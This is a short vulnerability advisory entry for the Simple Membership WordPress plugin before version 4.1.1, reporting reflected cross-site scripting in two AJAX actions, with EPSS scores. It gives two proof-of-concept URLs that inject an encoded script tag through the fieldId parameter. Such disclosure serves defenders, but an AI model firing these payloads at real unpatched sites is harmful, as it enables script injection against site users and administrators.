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wpexploitCydaveWPEX-ID:96A0A667-9C4B-4EA6-B78A-0681E9A9BBAE
HistoryMay 23, 2022 - 12:00 a.m.

Simple Membership < 4.1.1 - Reflected Cross-Site Scripting

2022-05-2300:00:00
cydave
84

0.001 Low

EPSS

Percentile

43.5%

The plugin does not properly sanitise and escape parameters before outputting them back in AJAX actions, leading to Reflected Cross-Site Scripting

https://example.com/wp-admin/admin-ajax.php?action=swpm_validate_email&fieldId=%22%3Cscript%3Ealert(%22XSS%22);%3C/script%3E

https://example.com/wp-admin/admin-ajax.php?action=swpm_validate_user_name&fieldId=%22%3Cscript%3Ealert(%22XSS%22);%3C/script%3E

0.001 Low

EPSS

Percentile

43.5%

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